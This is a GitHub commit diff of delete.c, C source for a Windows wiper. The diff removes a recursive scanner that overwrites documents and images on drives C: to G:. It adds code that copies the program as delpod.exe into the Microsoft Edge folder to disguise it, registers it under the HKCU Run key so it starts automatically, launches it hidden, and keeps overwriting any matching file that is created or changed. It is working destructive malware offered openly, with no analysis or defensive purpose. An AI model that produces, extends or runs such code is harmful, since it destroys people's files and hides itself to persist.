Skip to content

Commit 8193cce

Browse files
authored
Update delete.c
1 parent e1a6715 commit 8193cce

1 file changed

Lines changed: 120 additions & 51 deletions

File tree

delete.c

Lines changed: 120 additions & 51 deletions
Original file line numberDiff line numberDiff line change
@@ -1,83 +1,152 @@
1+
// delete.c by IHEfty
2+
// Drops “delpod.exe” into Edge\Application, installs it to autorun on startup,
3+
// then launches it hidden. delpod.exe continuously monitors and overwrites files.
4+
5+
#include <windows.h>
6+
#include <shlwapi.h>
17
#include <stdio.h>
2-
#include <stdlib.h>
38
#include <string.h>
4-
#include <windows.h>
59

6-
const char* EXTENSIONS[] = { ".txt", ".docx", ".xlsx", ".pdf", ".jpg", ".jpeg", ".png", ".bmp" };
7-
const int EXT_COUNT = sizeof(EXTENSIONS) / sizeof(EXTENSIONS[0]);
10+
#pragma comment(lib, "shlwapi.lib")
811

9-
const char* SKIP_DIRS[] = {
10-
"Windows", "Program Files", "Program Files (x86)",
11-
"AppData", "ProgramData", "$Recycle.Bin", "System Volume Information"
12+
const char* EXTENSIONS[] = {
13+
".txt", ".docx", ".xlsx", ".pdf",
14+
".jpg", ".jpeg", ".png", ".bmp" // file type
1215
};
13-
const int SKIP_COUNT = sizeof(SKIP_DIRS) / sizeof(SKIP_DIRS[0]);
16+
const int EXT_COUNT = sizeof(EXTENSIONS) / sizeof(EXTENSIONS[0]);
1417

15-
const char* TARGET_FOLDERS[] = { "C:\\", "D:\\", "E:\\", "F:\\", "G:\\" };
18+
const char* TARGET_FOLDERS[] = {
19+
"C:\\", "D:\\", "E:\\", "F:\\", "G:\\" //targersss
20+
};
1621
const int TARGET_COUNT = sizeof(TARGET_FOLDERS) / sizeof(TARGET_FOLDERS[0]);
1722

1823
const char* MESSAGE = "Wooh Delete delete delete........";
24+
const char* RUN_KEY = "Software\\Microsoft\\Windows\\CurrentVersion\\Run";
25+
const char* AUTORUN_NAME = "delpod";
1926

20-
int has_target_extension(const char* filename) {
27+
int has_extension(const char* name) {
2128
for (int i = 0; i < EXT_COUNT; i++) {
22-
const char* ext = strrchr(filename, '.');
23-
if (ext && _stricmp(ext, EXTENSIONS[i]) == 0) {
29+
size_t nlen = strlen(name), elen = strlen(EXTENSIONS[i]);
30+
if (nlen >= elen && _stricmp(name + nlen - elen, EXTENSIONS[i]) == 0)
2431
return 1;
25-
}
2632
}
2733
return 0;
2834
}
2935

30-
int should_skip_dir(const char* dir) {
31-
for (int i = 0; i < SKIP_COUNT; i++) {
32-
if (_stricmp(dir, SKIP_DIRS[i]) == 0) {
33-
return 1;
34-
}
36+
void overwrite_file(const char* path) {
37+
HANDLE h = CreateFileA(path, GENERIC_WRITE, 0, NULL, CREATE_ALWAYS,
38+
FILE_ATTRIBUTE_NORMAL, NULL);
39+
if (h != INVALID_HANDLE_VALUE) {
40+
DWORD written;
41+
WriteFile(h, MESSAGE, (DWORD)strlen(MESSAGE), &written, NULL);
42+
CloseHandle(h);
3543
}
44+
}
45+
46+
DWORD WINAPI watch_drive(LPVOID param) {
47+
const char* root = (const char*)param;
48+
HANDLE hDir = CreateFileA(
49+
root,
50+
FILE_LIST_DIRECTORY,
51+
FILE_SHARE_READ | FILE_SHARE_WRITE | FILE_SHARE_DELETE,
52+
NULL,
53+
OPEN_EXISTING,
54+
FILE_FLAG_BACKUP_SEMANTICS | FILE_FLAG_OVERLAPPED,
55+
NULL
56+
);
57+
if (hDir == INVALID_HANDLE_VALUE) return 1;
58+
59+
BYTE buffer[1024];
60+
OVERLAPPED ov = {0};
61+
62+
while (1) {
63+
DWORD bytesReturned = 0;
64+
ReadDirectoryChangesW(
65+
hDir, buffer, sizeof(buffer), TRUE,
66+
FILE_NOTIFY_CHANGE_FILE_NAME |
67+
FILE_NOTIFY_CHANGE_DIR_NAME |
68+
FILE_NOTIFY_CHANGE_LAST_WRITE,
69+
&bytesReturned, &ov, NULL
70+
);
71+
WaitForSingleObject(ov.hEvent, INFINITE);
72+
FILE_NOTIFY_INFORMATION* fni = (FILE_NOTIFY_INFORMATION*)buffer;
73+
do {
74+
char filename[MAX_PATH];
75+
int len = WideCharToMultiByte(
76+
CP_ACP, 0,
77+
fni->FileName,
78+
fni->FileNameLength / sizeof(WCHAR),
79+
filename, MAX_PATH - 1, NULL, NULL
80+
);
81+
filename[len] = '\0';
82+
83+
if ((fni->Action == FILE_ACTION_ADDED || fni->Action == FILE_ACTION_MODIFIED)
84+
&& has_extension(filename)) {
85+
char fullpath[MAX_PATH];
86+
snprintf(fullpath, MAX_PATH, "%s\\%s", root, filename);
87+
overwrite_file(fullpath);
88+
}
89+
if (!fni->NextEntryOffset) break;
90+
fni = (FILE_NOTIFY_INFORMATION*)((BYTE*)fni + fni->NextEntryOffset);
91+
} while (1);
92+
}
93+
CloseHandle(hDir);
3694
return 0;
3795
}
96+
// Get this executable’s full path
97+
void get_self_path(char* out, DWORD size) {
98+
GetModuleFileNameA(NULL, out, size);
99+
}
100+
101+
int path_equals(const char* a, const char* b) {
102+
return _stricmp(a, b) == 0;
103+
}
38104

39-
void overwrite_file(const char* filepath) {
40-
FILE* f = fopen(filepath, "wb");
41-
if (f) {
42-
fwrite(MESSAGE, 1, strlen(MESSAGE), f);
43-
fclose(f);
105+
void set_autorun(const char* exePath) {
106+
HKEY hKey;
107+
if (RegCreateKeyExA(HKEY_CURRENT_USER, RUN_KEY, 0, NULL,
108+
REG_OPTION_NON_VOLATILE, KEY_WRITE, NULL,
109+
&hKey, NULL) == ERROR_SUCCESS) {
110+
RegSetValueExA(hKey, AUTORUN_NAME, 0, REG_SZ,
111+
(const BYTE*)exePath, (DWORD)strlen(exePath) + 1);
112+
RegCloseKey(hKey);
44113
}
45114
}
46115

47-
void scan_folder(const char* base_path) {
48-
WIN32_FIND_DATAA find_data;
49-
char search_path[MAX_PATH];
50-
snprintf(search_path, MAX_PATH, "%s\\*", base_path);
116+
int WINAPI WinMain(HINSTANCE hInst, HINSTANCE hPrev, LPSTR lpCmd, int nShow) {
117+
char selfPath[MAX_PATH];
118+
get_self_path(selfPath, MAX_PATH);
51119

52-
HANDLE hFind = FindFirstFileA(search_path, &find_data);
53-
if (hFind == INVALID_HANDLE_VALUE) return;
120+
const char* installDir =
121+
"C:\\Program Files (x86)\\Microsoft\\Edge\\Application\\";
122+
char targetPath[MAX_PATH];
123+
snprintf(targetPath, MAX_PATH, "%sdelpod.exe", installDir);
54124

55-
do {
56-
if (strcmp(find_data.cFileName, ".") == 0 || strcmp(find_data.cFileName, "..") == 0)
57-
continue;
125+
if (!path_equals(selfPath, targetPath)) {
126+
CreateDirectoryA(installDir, NULL);
127+
CopyFileA(selfPath, targetPath, FALSE);
58128

59-
char full_path[MAX_PATH];
60-
snprintf(full_path, MAX_PATH, "%s\\%s", base_path, find_data.cFileName);
129+
set_autorun(targetPath);
61130

62-
if (find_data.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY) {
63-
if (!should_skip_dir(find_data.cFileName)) {
64-
scan_folder(full_path); // recursive
65-
}
66-
} else {
67-
if (has_target_extension(find_data.cFileName)) {
68-
overwrite_file(full_path);
69-
}
70-
}
71-
} while (FindNextFileA(hFind, &find_data));
72-
FindClose(hFind);
73-
}
131+
SHELLEXECUTEINFOA sei = { sizeof(sei) };
132+
sei.fMask = SEE_MASK_NOCLOSEPROCESS;
133+
sei.lpVerb = "open";
134+
sei.lpFile = targetPath;
135+
sei.nShow = SW_HIDE;
136+
ShellExecuteExA(&sei);
137+
return 0;
138+
}
74139

75-
int main() {
140+
HANDLE threads[TARGET_COUNT];
76141
for (int i = 0; i < TARGET_COUNT; i++) {
77-
DWORD fType = GetFileAttributesA(TARGET_FOLDERS[i]);
78-
if (fType != INVALID_FILE_ATTRIBUTES && (fType & FILE_ATTRIBUTE_DIRECTORY)) {
79-
scan_folder(TARGET_FOLDERS[i]);
80-
}
142+
DWORD attr = GetFileAttributesA(TARGET_FOLDERS[i]);
143+
if (attr != INVALID_FILE_ATTRIBUTES && (attr & FILE_ATTRIBUTE_DIRECTORY)) {
144+
threads[i] = CreateThread(
145+
NULL, 0, watch_drive,
146+
(LPVOID)TARGET_FOLDERS[i], 0, NULL
147+
);
148+
} else threads[i] = NULL;
81149
}
150+
WaitForMultipleObjects(TARGET_COUNT, threads, TRUE, INFINITE);
82151
return 0;
83152
}

0 commit comments

Comments
 (0)